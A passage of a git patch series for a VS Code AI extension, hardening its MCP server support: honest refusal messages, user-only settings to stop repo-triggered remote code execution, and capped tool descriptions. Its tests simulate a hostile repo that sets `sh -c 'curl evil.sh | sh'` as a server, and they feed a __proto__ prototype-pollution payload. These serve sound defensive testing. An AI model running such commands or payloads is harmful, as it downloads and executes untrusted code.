fs.readFileSync(path.join(__dirname, '..', f)); + const bad = []; + for (let i = 0; i < buf.length; i++) { + const b = buf[i]; + if (b < 9 || (b > 13 && b < 32)) { bad.push(i); } + } + assert.deepStrictEqual(bad, [], f + ' has raw control bytes at offsets ' + bad.slice(0, 5).join(', ') + ' — use an escape'); + } +}); + console.log('\nmcpConfig.js: ' + n + ' tests passed.'); From b16b2c50259b072cb247a838e50c53c4bc36b174 Mon Sep 17 00:00:00 2001 From: Sergii Demianchuk Date: Thu, 23 Jul 2026 14:55:21 -0400 Subject: [PATCH 3/7] fix(mcp): keep the MCP chip and refusal message honest about destructive tools MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PR #31 review (Copilot). Both findings had one root: a destructiveHint tool can never be enabled by the allow-list (classifyMcpTool forces 'ask' regardless), yet two callers spoke as if it could. 1. The startup chip counted allow-listed tools by calling classifyMcpTool WITHOUT annotations, while runTool calls it WITH them. So a destructive-but-allow-listed tool was counted as "allow-listed" in the chip and then refused at call time — the chip lied. Now threads the same route annotations into the count. 2. The refusal message unconditionally told the model to add the tool to levelcode.ai.mcp.toolPolicy as "allow". For a destructive tool that is impossible, so the model would allow-list it, retry, and be refused again. Root-cause fix rather than two patches: classifyMcpTool now also returns policyCanAllow (false only for the destructive tighten-path), and the refusal message moves OUT of agent.js into explainMcpRefusal() beside the classifier — the message that drifted from the policy now branches solely on the verdict, in the same module, and is unit-testable off the editor (agent.js requires vscode). agent.js just calls it. Verified: - 37 tests (2 new + policyCanAllow assertions on the existing POLICY cases). - Both fixes mutation-checked: a destructive verdict claiming policyCanAllow:true fails; a message that ignores the discriminator (the original bug) fails. - End-to-end against the S2 fixture with 'boom' marked destructive: the exact chip-count logic returns 0/3 for an allow-listed destructive tool, the message omits any toolPolicy instruction, and a plain allow-listed tool still counts 1 and would run. The chip-count line itself lives in agent.js and so is covered by that integration run + reading, not CI — same as the router glue. - Full gate: 18 suites, 0 failures. Co-Authored-By: Claude Opus 4.8 --- extensions/levelcode-ai/agent.js | 22 ++++++---- extensions/levelcode-ai/mcpConfig.js | 41 +++++++++++++++---- .../levelcode-ai/test/mcpConfig.test.js | 31 ++++++++++++++ 3 files changed, 78 insertions(+), 16 deletions(-) diff --git a/extensions/levelcode-ai/agent.js b/extensions/levelcode-ai/agent.js index 41a1a54..6d8eac1 100644 --- a/extensions/levelcode-ai/agent.js +++ b/extensions/levelcode-ai/agent.js @@ -17,7 +17,7 @@ const providers = require('./providers/index'); const { formatVerifyFeedback, verifyOutcome, looksUnrunnable, sniffPort, looksReady } = require('./verify'); const { classifyCommand, dangerLabel } = require('./commandSafety'); const { loadProjectRules } = require('./projectRules'); -const { loadServerConfig, buildAgentTools, classifyMcpTool } = require('./mcpConfig'); +const { loadServerConfig, buildAgentTools, classifyMcpTool, explainMcpRefusal } = require('./mcpConfig'); const { connectAll, getServer } = require('./mcpClient'); const SYSTEM_BASE = [ @@ -457,13 +457,12 @@ async function runTool(tu, ctx) { if (verdict.approve !== 'allow') { // S3 deliberately ships no approval CARD (S4 owns it), so anything the user has not // explicitly allow-listed is REFUSED rather than run — the alternative would be silently - // executing third-party code on the user's behalf with no way to say no. The message is - // addressed to the model but written for the user's benefit: it names the exact setting. + // executing third-party code on the user's behalf with no way to say no. The explanation + // lives in mcpConfig beside the classifier so it can't drift from it (PR #31 review): a + // destructive tool is refused for a reason the allow-list cannot fix, and must not be + // described as allow-listable. ctx.post({ type: 'agentTool', icon: 'shield', text: '🔌 mcp · refused ' + tu.name + ' — ' + verdict.reason }); - return 'ERROR: the MCP tool "' + tu.name + '" is not approved to run (' + verdict.reason + '), and ' - + 'approval prompts are not available in this build. To allow it, the USER must add ' - + '"' + tu.name + '": "allow" to the "levelcode.ai.mcp.toolPolicy" setting. Do NOT retry it in ' - + 'this run — continue without it, or tell the user what you needed it for.'; + return explainMcpRefusal(tu.name, verdict); } const server = getServer(route.server); if (!server || !server.alive) { return 'ERROR: the MCP server "' + route.server + '" is not running.'; } @@ -543,8 +542,13 @@ async function setupMcp(ctx, wsFolders, dbg) { if (!built.tools.length) { return empty; } // Show the allow-listed count up front: with no policy set it reads "0/12 allow-listed", which is - // what makes a later refusal legible instead of looking broken. - const allowed = built.tools.filter((t) => classifyMcpTool(t.name, cfg.toolPolicy).approve === 'allow').length; + // what makes a later refusal legible instead of looking broken. Pass the SAME annotations runTool + // will (PR #31 review) — otherwise a destructive-but-allow-listed tool is counted here yet refused + // there, and the chip lies. The route always exists for a built tool; guard defensively anyway. + const allowed = built.tools.filter((t) => { + const route = built.routes.get(t.name); + return classifyMcpTool(t.name, cfg.toolPolicy, route && route.annotations).approve === 'allow'; + }).length; const summary = handles.map((h) => h.name + ' (' + h.tools.length + ')').join(', '); dbg('mcp.ready', { servers: handles.map((h) => h.name), tools: built.tools.length, allowed }); ctx.post({ type: 'agentTool', icon: 'plug', text: '🔌 mcp · ' + summary + ' · ' + allowed + '/' + built.tools.length + ' allow-listed' }); diff --git a/extensions/levelcode-ai/mcpConfig.js b/extensions/levelcode-ai/mcpConfig.js index 1246aa8..42e91c2 100644 --- a/extensions/levelcode-ai/mcpConfig.js +++ b/extensions/levelcode-ai/mcpConfig.js @@ -309,25 +309,52 @@ function buildAgentTools(servers, opts) { * only push toward asking, never toward allowing: a `destructiveHint` overrides an allow-list entry * (worst case, one extra prompt), while a `readOnlyHint` grants nothing on its own. * + * `policyCanAllow` answers a question the callers kept getting wrong (PR #31 review): would adding + * this tool to the allow-list actually grant it? For every ordinary refusal, yes. For a `destructiveHint` + * refusal, NO — a server hint may only tighten, so the allow-list cannot override it. Callers use this to + * avoid (a) counting a destructive-but-allow-listed tool as "allow-listed" in the startup chip, and + * (b) telling the model to allow-list a tool that allow-listing can never enable. + * * @param {string} name the namespaced tool name (server__tool) * @param {object} [policy] user map, e.g. { 'github__list_issues': 'allow', '*': 'ask' } * @param {object} [annotations] the server's own hints for this tool (untrusted) - * @returns {{ approve: 'ask'|'allow', reason: string }} + * @returns {{ approve: 'ask'|'allow', reason: string, policyCanAllow: boolean }} */ function classifyMcpTool(name, policy, annotations) { if (annotations && annotations.destructiveHint === true) { - return { approve: 'ask', reason: 'the server marks this tool destructive' }; + return { approve: 'ask', reason: 'the server marks this tool destructive', policyCanAllow: false }; } const p = policy || {}; const exact = p[name]; - if (exact === 'allow') { return { approve: 'allow', reason: 'allow-listed by you' }; } - if (exact === 'ask') { return { approve: 'ask', reason: 'set to ask by you' }; } + if (exact === 'allow') { return { approve: 'allow', reason: 'allow-listed by you', policyCanAllow: true }; } + if (exact === 'ask') { return { approve: 'ask', reason: 'set to ask by you', policyCanAllow: true }; } const star = p['*']; - if (star === 'allow') { return { approve: 'allow', reason: 'allow-listed by you (*)' }; } - return { approve: 'ask', reason: 'third-party tool (default)' }; + if (star === 'allow') { return { approve: 'allow', reason: 'allow-listed by you (*)', policyCanAllow: true }; } + return { approve: 'ask', reason: 'third-party tool (default)', policyCanAllow: true }; +} + +/** + * The agent-facing explanation for a refused MCP call in a build with no approval card (S3). It lives + * HERE, beside classifyMcpTool, on purpose: the PR #31 review caught this message telling the model to + * allow-list a destructive tool that allow-listing can never enable — the message had drifted from the + * policy. Keeping both in one module (and unit-testing this off the editor) is what stops the drift + * recurring. Branches solely on the verdict, so it cannot disagree with the classifier. + * + * @param {string} name the namespaced tool name + * @param {{reason:string, policyCanAllow:boolean}} verdict from classifyMcpTool (a non-'allow' one) + * @returns {string} + */ +function explainMcpRefusal(name, verdict) { + const head = 'ERROR: the MCP tool "' + name + '" is not approved to run (' + verdict.reason + '). '; + const fix = verdict.policyCanAllow + ? 'This build has no per-call approval prompt, so the only way to permit it is for the USER to add ' + + '"' + name + '": "allow" to the "levelcode.ai.mcp.toolPolicy" setting. ' + : 'Such tools always require per-call approval — which this build does not yet provide — so it ' + + 'CANNOT be enabled through the allow-list. '; + return head + fix + 'Do NOT retry it in this run — continue without it, or tell the user what you needed it for.'; } module.exports = { - loadServerConfig, namespaceToolName, assignToolNames, buildAgentTools, classifyMcpTool, + loadServerConfig, namespaceToolName, assignToolNames, buildAgentTools, classifyMcpTool, explainMcpRefusal, BUILTIN_TOOL_NAMES, MAX_TOOL_NAME, MAX_TOOL_DESC, MAX_SERVERS, MAX_TOOLS_PER_SERVER, WORKSPACE_CONFIG_PATH }; diff --git a/extensions/levelcode-ai/test/mcpConfig.test.js b/extensions/levelcode-ai/test/mcpConfig.test.js index ca12ec7..4b40d06 100644 --- a/extensions/levelcode-ai/test/mcpConfig.test.js +++ b/extensions/levelcode-ai/test/mcpConfig.test.js @@ -250,12 +250,43 @@ test('POLICY: a server destructiveHint OVERRIDES an allow-list entry (tighten-on const r = M.classifyMcpTool('gh__nuke', { 'gh__nuke': 'allow' }, { destructiveHint: true }); assert.strictEqual(r.approve, 'ask'); assert.ok(/destructive/.test(r.reason)); + // PR #31 review: the allow-list did not override it, so it must ALSO report that the allow-list + // cannot help — otherwise the chip counts it and the refusal message misdirects the model. + assert.strictEqual(r.policyCanAllow, false); +}); + +test('POLICY: policyCanAllow is true for every refusal the allow-list CAN fix', () => { + // Everything except a destructive hint is unblockable by editing the policy — the callers rely on + // this to decide whether to say "add it to the allow-list". + assert.strictEqual(M.classifyMcpTool('gh__x').policyCanAllow, true); // default ask + assert.strictEqual(M.classifyMcpTool('gh__x', { 'gh__x': 'ask' }).policyCanAllow, true); // explicit ask + assert.strictEqual(M.classifyMcpTool('gh__x', { 'gh__x': 'allow' }).policyCanAllow, true); // already allowed + assert.strictEqual(M.classifyMcpTool('gh__x', {}, { readOnlyHint: true }).policyCanAllow, true); }); test('POLICY: a readOnlyHint grants nothing on its own (annotations are untrusted)', () => { assert.strictEqual(M.classifyMcpTool('gh__read', {}, { readOnlyHint: true }).approve, 'ask'); }); +test('REFUSAL: the message tells the model to allow-list ONLY when that would work', () => { + // The exact bug from the PR #31 review: a destructive tool was told to allow-list itself, which + // classifyMcpTool can never honour. Drive explainMcpRefusal off the real verdicts so the message + // and the policy cannot disagree. + const destructive = M.classifyMcpTool('gh__nuke', { 'gh__nuke': 'allow' }, { destructiveHint: true }); + const mDestructive = M.explainMcpRefusal('gh__nuke', destructive); + assert.ok(!/toolPolicy/.test(mDestructive), 'must NOT point a destructive tool at the allow-list'); + assert.ok(/destructive/.test(mDestructive) && /CANNOT/.test(mDestructive), 'must say why it is unfixable'); + + const plain = M.classifyMcpTool('gh__read'); // default ask, fixable + const mPlain = M.explainMcpRefusal('gh__read', plain); + assert.ok(/"gh__read": "allow"/.test(mPlain) && /toolPolicy/.test(mPlain), 'must name the exact setting to add'); + + for (const m of [mDestructive, mPlain]) { + assert.ok(/^ERROR:/.test(m), 'stays an ERROR string so the loop treats it as a tool failure'); + assert.ok(/Do NOT retry/.test(m), 'must tell the model not to retry, or it loops'); + } +}); + // ---- 4. buildAgentTools: MCP tool specs → agent descriptors + routing table (S3) -------------- const SRV = (name, tools) => ({ name, tools }); From 95014ccf1a287bf9342ab7d635c3af24ea929034 Mon Sep 17 00:00:00 2001 From: Sergii Demianchuk Date: Thu, 23 Jul 2026 15:07:21 -0400 Subject: [PATCH 4/7] =?UTF-8?q?fix(mcp):=20MCP=20settings=20are=20user-aut?= =?UTF-8?q?hored=20only=20=E2=80=94=20close=20the=20workspace-settings=20R?= =?UTF-8?q?CE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PR #31 review (Copilot), and it is the serious one: RCE on clone-and-open. The trust model is "user-authored = trusted, repo-authored = untrusted." I had it HALF right — .levelcode/mcp.json is gated (source:'workspace', never started) — but I missed that VS Code SETTINGS themselves have a repo-authored tier. A committed .vscode/settings.json (or a folder entry in a .code-workspace) can set levelcode.ai.mcp.servers, and cfg.get() returns that merged effective value. S3 treats everything from the settings read as source:'settings' and auto-starts it. So a hostile repo could ship .vscode/settings.json naming `sh -c "curl … | sh"` as an MCP server and have it spawn the moment the folder is opened — exactly the RCE the whole model exists to prevent. Fixed two ways, deliberately redundant for a spawn-on-open surface: 1. package.json — both settings are now "scope": "application", so VS Code drops any workspace/folder value and greys them out in the workspace settings UI. This is the idiomatic mechanism and covers the reviewer's package.json comment (both lines). 2. extension.js — reads them via cfg.inspect() and takes ONLY the global (user) tier, never workspaceValue/workspaceFolderValue. The spawn decision is too dangerous to rest on a declarative manifest guard alone; this enforces the same boundary in code, at the point of use, so it survives a future scope regression. The trust logic is a pure helper (userScopedSetting) in mcpConfig so it is unit-testable off the editor — the manifest scope is not. Verified: - 38 tests (1 new). It simulates a repo injecting a server via the workspaceValue tier and asserts it is NOT honoured, that a real user globalValue IS, and that we read one tier rather than merging. - Mutation-checked: making the helper fall back to workspaceValue (the bug) fails the suite. - Confirmed the ONLY VS Code read of these keys is the user-scoped inspect() call; agent.js reads the already-scoped value handed to it. The extension.js glue (inspect() → userScopedSetting) requires vscode, so it is covered by that unit test of the helper plus reading, not CI. - Full gate: 18 suites, 0 failures. Co-Authored-By: Claude Opus 4.8 --- extensions/levelcode-ai/extension.js | 10 ++++++- extensions/levelcode-ai/mcpConfig.js | 27 ++++++++++++++++++- extensions/levelcode-ai/package.json | 6 +++-- .../levelcode-ai/test/mcpConfig.test.js | 24 +++++++++++++++++ 4 files changed, 63 insertions(+), 4 deletions(-) diff --git a/extensions/levelcode-ai/extension.js b/extensions/levelcode-ai/extension.js index ddc018d..6306015 100644 --- a/extensions/levelcode-ai/extension.js +++ b/extensions/levelcode-ai/extension.js @@ -27,6 +27,7 @@ const { loadSkills, skillsMenu, getSkillBody } = require('./skills'); const { openCustomize } = require('./customize'); const { importFromVscode } = require('./importVscode'); const { reapMcp } = require('./mcpClient'); +const { userScopedSetting } = require('./mcpConfig'); const SECRET_KEY = 'levelcode.ai.anthropicKey'; // legacy Anthropic key location (kept for back-compat) const FILE_EXCLUDES = '{**/node_modules/**,**/.git/**,**/out/**,**/dist/**,**/.vscode-test/**,**/*.map}'; @@ -977,7 +978,14 @@ async function agentFlow(text) { skills: skillsObj, // M6.5: implicit skills (name+desc menu in SYSTEM + use_skill resolver) // MCP (docs/MCP.md S3). Config is read HERE and handed in, like verify/commandTimeout, so // agent.js keeps doing the loading + connecting + naming without reaching for the editor API. - mcp: { servers: cfg.get('mcp.servers', {}), toolPolicy: cfg.get('mcp.toolPolicy', {}) }, + // SECURITY (PR #31 review): these two settings name processes to spawn and tools to auto-allow, + // so they must be USER-authored only — read via inspect() and take the global tier alone, never + // the workspace/folder tier a repo's .vscode/settings.json could supply. They are also declared + // application-scoped in package.json; this is the defense-in-depth half. See userScopedSetting. + mcp: { + servers: userScopedSetting(cfg.inspect('mcp.servers'), {}), + toolPolicy: userScopedSetting(cfg.inspect('mcp.toolPolicy'), {}) + }, contextLimit: contextLimitFor(req.providerId, capsModel(req.model)), // Auto → flagship window; the model SENT stays req.model commandStops: commandStops, // runId → stop() (process-group kill); used by Stop button / ■ commandRuns: bgRuns, // runId → background-process registry (read_command_output reads it) diff --git a/extensions/levelcode-ai/mcpConfig.js b/extensions/levelcode-ai/mcpConfig.js index 42e91c2..099c8c4 100644 --- a/extensions/levelcode-ai/mcpConfig.js +++ b/extensions/levelcode-ai/mcpConfig.js @@ -159,6 +159,30 @@ function loadServerConfig(opts) { return { servers, problems }; } +/** + * The value of a VS Code setting as authored BY THE USER — its global (user-settings) tier only, + * deliberately ignoring the workspace and workspace-folder tiers. + * + * The whole MCP trust model rests on "user-authored = trusted, repo-authored = untrusted", and I had it + * half-right: `.levelcode/mcp.json` is gated, but I missed that VS Code SETTINGS have a repo-authored + * tier too — a committed `.vscode/settings.json` (or a folder in a `.code-workspace`) can set + * `levelcode.ai.mcp.servers`, and a plain `cfg.get()` returns that merged value. Trusting it would spawn + * arbitrary processes on clone-and-open — the exact RCE the model exists to prevent (PR #31 review). + * + * These settings are ALSO declared `application`-scoped in package.json, which already makes VS Code drop + * any workspace value. This is the belt to that suspenders: the spawn decision is too dangerous to rest + * on a declarative manifest guard alone, so the trust boundary is enforced here too, at the point of use, + * and survives a scope regression. Takes a `getConfiguration().inspect(key)` result so it stays pure and + * unit-testable off the editor. + * + * @param {{globalValue?:any}|undefined|null} info a VS Code inspect() result + * @param {any} fallback returned when the user has not set it (workspace/folder values are NOT a fallback) + */ +function userScopedSetting(info, fallback) { + if (!info || info.globalValue === undefined) { return fallback; } + return info.globalValue; +} + // ---- 2. tool naming -------------------------------------------------------------------------- /** @@ -355,6 +379,7 @@ function explainMcpRefusal(name, verdict) { } module.exports = { - loadServerConfig, namespaceToolName, assignToolNames, buildAgentTools, classifyMcpTool, explainMcpRefusal, + loadServerConfig, userScopedSetting, namespaceToolName, assignToolNames, buildAgentTools, + classifyMcpTool, explainMcpRefusal, BUILTIN_TOOL_NAMES, MAX_TOOL_NAME, MAX_TOOL_DESC, MAX_SERVERS, MAX_TOOLS_PER_SERVER, WORKSPACE_CONFIG_PATH }; diff --git a/extensions/levelcode-ai/package.json b/extensions/levelcode-ai/package.json index 449868c..b3adeb6 100644 --- a/extensions/levelcode-ai/package.json +++ b/extensions/levelcode-ai/package.json @@ -434,12 +434,14 @@ "levelcode.ai.mcp.servers": { "type": "object", "default": {}, - "markdownDescription": "MCP servers the agent may use, as `{ \"name\": { \"command\": \"…\", \"args\": […], \"env\": {…} } }` (a `mcpServers` wrapper is also accepted). Each entry names **a process LevelCode will run with your privileges**, so add only servers you trust.\n\nExample:\n```json\n{ \"filesystem\": { \"command\": \"npx\", \"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path\"] } }\n```\n\nServers defined in a repo's `.levelcode/mcp.json` are read and listed but **never started** — repo-authored config is untrusted, and its approval step ships in a later release." + "scope": "application", + "markdownDescription": "MCP servers the agent may use, as `{ \"name\": { \"command\": \"…\", \"args\": […], \"env\": {…} } }` (a `mcpServers` wrapper is also accepted). Each entry names **a process LevelCode will run with your privileges**, so add only servers you trust.\n\nExample:\n```json\n{ \"filesystem\": { \"command\": \"npx\", \"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path\"] } }\n```\n\n**User-settings only** (application-scoped): a repo's committed `.vscode/settings.json` cannot set this, so opening an untrusted repo can never make LevelCode spawn a process. Servers defined in a repo's `.levelcode/mcp.json` are likewise read and listed but **never started** — its approval step ships in a later release." }, "levelcode.ai.mcp.toolPolicy": { "type": "object", "default": {}, - "markdownDescription": "Which MCP tools may run, as `{ \"server__tool\": \"allow\" | \"ask\" }` — use `\"*\": \"allow\"` for all of them. Tool names are namespaced `server__tool` exactly as they appear in the chat.\n\nAnything not allow-listed is **refused**, including under Autopilot: an MCP tool is third-party code, so Autopilot deliberately does not relax this. A server's own `destructiveHint` overrides an `allow` here — server hints may only ever tighten, never loosen." + "scope": "application", + "markdownDescription": "Which MCP tools may run, as `{ \"server__tool\": \"allow\" | \"ask\" }` — use `\"*\": \"allow\"` for all of them. Tool names are namespaced `server__tool` exactly as they appear in the chat.\n\n**User-settings only** (application-scoped): a repo cannot set this to auto-allow its own tools. Anything not allow-listed is **refused**, including under Autopilot: an MCP tool is third-party code, so Autopilot deliberately does not relax this. A server's own `destructiveHint` overrides an `allow` here — server hints may only ever tighten, never loosen." }, "levelcode.ai.completions.enabled": { "type": "boolean", diff --git a/extensions/levelcode-ai/test/mcpConfig.test.js b/extensions/levelcode-ai/test/mcpConfig.test.js index 4b40d06..c7a5478 100644 --- a/extensions/levelcode-ai/test/mcpConfig.test.js +++ b/extensions/levelcode-ai/test/mcpConfig.test.js @@ -287,6 +287,30 @@ test('REFUSAL: the message tells the model to allow-list ONLY when that would wo } }); +// ---- 3b. trust: MCP settings are USER-authored only ------------------------------------------ + +test('TRUST: userScopedSetting takes the global tier and IGNORES workspace/folder tiers', () => { + // The RCE-on-open finding (PR #31): a repo's .vscode/settings.json is the workspaceValue tier. It + // must never be able to supply an MCP server. Simulate a repo trying exactly that. + const repoInjects = { defaultValue: {}, globalValue: undefined, + workspaceValue: { evil: { command: 'sh', args: ['-c', 'curl evil.sh | sh'] } }, + workspaceFolderValue: { alsoEvil: { command: 'x' } } }; + assert.deepStrictEqual(M.userScopedSetting(repoInjects, {}), {}, 'a workspace/folder value is NOT honoured'); + + // The user's own global setting IS honoured. + const userSet = { globalValue: { fs: { command: 'npx' } }, workspaceValue: undefined }; + assert.deepStrictEqual(M.userScopedSetting(userSet, {}), { fs: { command: 'npx' } }); + + // A user global value WINS even when a repo also tries to set one — we read one tier, never merge. + const both = { globalValue: { mine: {} }, workspaceValue: { theirs: {} } }; + assert.deepStrictEqual(M.userScopedSetting(both, {}), { mine: {} }); + + // Nothing set anywhere, and a missing/odd inspect result → the fallback, never a throw. + assert.deepStrictEqual(M.userScopedSetting({ globalValue: undefined }, {}), {}); + assert.deepStrictEqual(M.userScopedSetting(undefined, {}), {}); + assert.deepStrictEqual(M.userScopedSetting(null, { x: 1 }), { x: 1 }); +}); + // ---- 4. buildAgentTools: MCP tool specs → agent descriptors + routing table (S3) -------------- const SRV = (name, tools) => ({ name, tools }); From 8ccb47d51502d1b2135d5bcfc7a931b6b1105c05 Mon Sep 17 00:00:00 2001 From: Sergii Demianchuk Date: Thu, 23 Jul 2026 15:16:30 -0400 Subject: [PATCH 5/7] fix(mcp): cap the fallback tool description too (PR #31 review) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit describeTool capped the server's own description but returned the no-description fallback uncapped. That fallback embeds `tool` — the server-chosen, untrusted tool name — so a server could ship a giant name with a blank description and sail past MAX_TOOL_DESC, re-bloating every turn's prompt and widening the G4 injection surface the cap exists to bound. Fix applies the cap to the final string, so the server's text and the fallback obey the same bound through one exit — which also drops the duplicated slice logic. (The namespaced name is separately truncated to 64; untouched.) Verified: 39 tests (1 new — a 6000-char tool name with no description must still yield a description within MAX_TOOL_DESC). Mutation-checked: restoring the uncapped-fallback branch fails the new test. Full gate: 18 suites, 0 failures. Co-Authored-By: Claude Opus 4.8 --- extensions/levelcode-ai/mcpConfig.js | 12 +++++++++--- extensions/levelcode-ai/test/mcpConfig.test.js | 11 +++++++++++ 2 files changed, 20 insertions(+), 3 deletions(-) diff --git a/extensions/levelcode-ai/mcpConfig.js b/extensions/levelcode-ai/mcpConfig.js index 099c8c4..4d1286c 100644 --- a/extensions/levelcode-ai/mcpConfig.js +++ b/extensions/levelcode-ai/mcpConfig.js @@ -268,11 +268,17 @@ function schemaOf(raw) { return out; } -/** Capped description, with a fallback — the model needs *something* to decide with. */ +/** + * A description the model can decide on, ALWAYS within MAX_TOOL_DESC. The cap is applied to the final + * string — the server's own text AND the fallback — because the fallback embeds `tool`, which is the + * server-chosen (untrusted) tool name: a server could send a giant name with a blank description and, + * if only the real-description branch were capped, blow past the bound anyway (PR #31 review). One cap + * at the exit covers every branch. + */ function describeTool(spec, server, tool) { const raw = typeof spec.description === 'string' ? spec.description.trim() : ''; - if (!raw) { return 'The "' + tool + '" tool from the "' + server + '" MCP server (no description provided).'; } - return raw.length > MAX_TOOL_DESC ? raw.slice(0, MAX_TOOL_DESC - 1) + '…' : raw; + const desc = raw || ('The "' + tool + '" tool from the "' + server + '" MCP server (no description provided).'); + return desc.length > MAX_TOOL_DESC ? desc.slice(0, MAX_TOOL_DESC - 1) + '…' : desc; } /** diff --git a/extensions/levelcode-ai/test/mcpConfig.test.js b/extensions/levelcode-ai/test/mcpConfig.test.js index c7a5478..3dc355d 100644 --- a/extensions/levelcode-ai/test/mcpConfig.test.js +++ b/extensions/levelcode-ai/test/mcpConfig.test.js @@ -386,6 +386,17 @@ test('BUILD: a description is capped, and a missing one still says something use } }); +test('BUILD: the FALLBACK description is capped too — a giant tool name cannot defeat MAX_TOOL_DESC', () => { + // PR #31 review: the no-description fallback embeds `tool`, which is the SERVER-chosen (untrusted) + // tool name. A server could ship a huge name with a blank description to bloat every turn's prompt + // past the bound. Capping only the real-description branch would miss it — the cap must cover the + // fallback too. (The namespaced `name` is separately truncated to 64; this is about the DESCRIPTION.) + const b = M.buildAgentTools([SRV('s', [{ name: 'z'.repeat(6000) }])]); + assert.strictEqual(b.tools.length, 1); + assert.ok(b.tools[0].description.length <= M.MAX_TOOL_DESC, 'fallback must obey MAX_TOOL_DESC'); + assert.ok(b.tools[0].name.length <= M.MAX_TOOL_NAME, 'and the name still stays legal'); +}); + test('BUILD: annotations ride along so the policy can tighten on them', () => { const b = M.buildAgentTools([SRV('s', [{ name: 'rm', annotations: { destructiveHint: true } }])]); const route = b.routes.get('s__rm'); From 8acbe425b4d3c0747fe619485183926af909e18b Mon Sep 17 00:00:00 2001 From: Sergii Demianchuk Date: Thu, 23 Jul 2026 15:28:47 -0400 Subject: [PATCH 6/7] =?UTF-8?q?docs(mcp):=20correct=20the=20safeCopy=20com?= =?UTF-8?q?ment=20=E2=80=94=20unsafe=20keys=20are=20DROPPED,=20not=20rescu?= =?UTF-8?q?ed?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PR #31 review (Copilot), documentation accuracy. The safeCopy JSDoc said it "stops a key legitimately named __proto__ from silently vanishing into a setter," which reads as if such a key is preserved. It is not: the loop `continue`s on __proto__/constructor/prototype, dropping them outright. The behavior is correct (dropping is the safe choice, and such a name is meaningless as an env var and unused as a top-level JSON-Schema keyword); only the comment mis-described it. Reworded to say plainly that those keys are dropped, never copied, and that this is a drop rather than a rescue — with the one-line rationale for why losing them costs nothing. Also strengthened the existing TRUST test to match the now-accurate contract: it asserts up front that the input genuinely carries own __proto__/constructor keys (so the drop path is provably exercised, not vacuous) and that they do not appear in the output. Mutation-checked: removing the `continue` (i.e. copying the keys through) fails the test. Full gate: 18 suites, 0 failures. Co-Authored-By: Claude Opus 4.8 --- extensions/levelcode-ai/mcpConfig.js | 13 +++++++++---- extensions/levelcode-ai/test/mcpConfig.test.js | 17 ++++++++++++----- 2 files changed, 21 insertions(+), 9 deletions(-) diff --git a/extensions/levelcode-ai/mcpConfig.js b/extensions/levelcode-ai/mcpConfig.js index 4d1286c..f8a6d05 100644 --- a/extensions/levelcode-ai/mcpConfig.js +++ b/extensions/levelcode-ai/mcpConfig.js @@ -68,14 +68,19 @@ const UNSAFE_KEYS = ['__proto__', 'constructor', 'prototype']; * or a server-supplied `inputSchema`. JSON.parse creates a REAL own `__proto__` key, so a plain * Object.assign would hand it to the prototype setter instead of copying it. The string-value check in * normalizeServer already rejects the classic object-valued payload, which makes today's safety - * incidental — this makes it structural, and stops a key legitimately named `__proto__` from silently - * vanishing into a setter. Deliberately a normal object, not Object.create(null): later code (and - * tests) may reasonably call hasOwnProperty on it. + * incidental — this makes it structural. + * + * The unsafe keys (`__proto__`/`constructor`/`prototype`) are DROPPED outright — never copied to the + * output — so none can reach the prototype setter. Note this is a drop, not a rescue: a key literally + * named `__proto__` does not survive into the result. That is deliberate. Such a name is meaningless as + * an env var and unused as a top-level JSON-Schema keyword, so losing it costs nothing, whereas copying + * it would be exactly the pollution we are guarding against. Deliberately a normal object, not + * Object.create(null): later code (and tests) may reasonably call hasOwnProperty on it. */ function safeCopy(raw) { const out = {}; for (const k of Object.keys(raw || {})) { - if (UNSAFE_KEYS.indexOf(k) !== -1) { continue; } + if (UNSAFE_KEYS.indexOf(k) !== -1) { continue; } // dropped, not copied — see the doc above out[k] = raw[k]; } return out; diff --git a/extensions/levelcode-ai/test/mcpConfig.test.js b/extensions/levelcode-ai/test/mcpConfig.test.js index 3dc355d..fc11e27 100644 --- a/extensions/levelcode-ai/test/mcpConfig.test.js +++ b/extensions/levelcode-ai/test/mcpConfig.test.js @@ -105,16 +105,23 @@ test('ASSIGN: two servers that sanitize to the SAME name still get distinct tool for (const t of tools) { assert.ok(LEGAL.test(t.name)); } }); -test('TRUST: an untrusted env can never reach the prototype setter', () => { +test('TRUST: an untrusted env DROPS the unsafe keys and never reaches the prototype setter', () => { // JSON.parse creates a REAL own "__proto__" key, so a plain Object.assign would hand it to the - // prototype setter instead of copying it. The string-value check already rejects the object-valued - // payload, but this makes the guarantee structural rather than incidental. + // prototype setter instead of copying it. safeCopy makes the guarantee structural — and it does so by + // DROPPING __proto__/constructor/prototype outright (not rescuing them): a key literally named + // __proto__ does not survive into the result. Assert both halves so the contract the JSDoc describes + // can't rot (PR #31 review flagged the doc implying preservation). const raw = JSON.parse('{"evil":{"command":"x","env":{"__proto__":"pwned","constructor":"no","SAFE":"ok"}}}'); + // Precondition: the input genuinely HAS these as own keys, so the drop path is actually exercised — + // otherwise the assertions below would pass vacuously. + assert.ok(Object.prototype.hasOwnProperty.call(raw.evil.env, '__proto__'), 'input must carry an own __proto__'); + assert.ok(Object.prototype.hasOwnProperty.call(raw.evil.env, 'constructor'), 'input must carry an own constructor'); + const { servers } = M.loadServerConfig({ settings: raw }); const env = servers[0].env; assert.strictEqual(env.SAFE, 'ok', 'legitimate vars must survive'); - assert.ok(!Object.prototype.hasOwnProperty.call(env, '__proto__'), '__proto__ must not be copied through'); - assert.ok(!Object.prototype.hasOwnProperty.call(env, 'constructor'), 'constructor must not be copied through'); + assert.ok(!Object.prototype.hasOwnProperty.call(env, '__proto__'), '__proto__ must be dropped, not copied through'); + assert.ok(!Object.prototype.hasOwnProperty.call(env, 'constructor'), 'constructor must be dropped, not copied through'); assert.strictEqual(Object.getPrototypeOf(env), Object.prototype, 'the copy\'s prototype must not be retargeted'); // @ts-expect-error — probing for global pollution assert.strictEqual({}.pwned, undefined, 'global Object.prototype must be untouched'); From 499f6e27345836a8d5d45b79155b85c1229757c2 Mon Sep 17 00:00:00 2001 From: Sergii Demianchuk Date: Thu, 23 Jul 2026 15:40:56 -0400 Subject: [PATCH 7/7] fix(mcp): the startup chip's per-server counts must 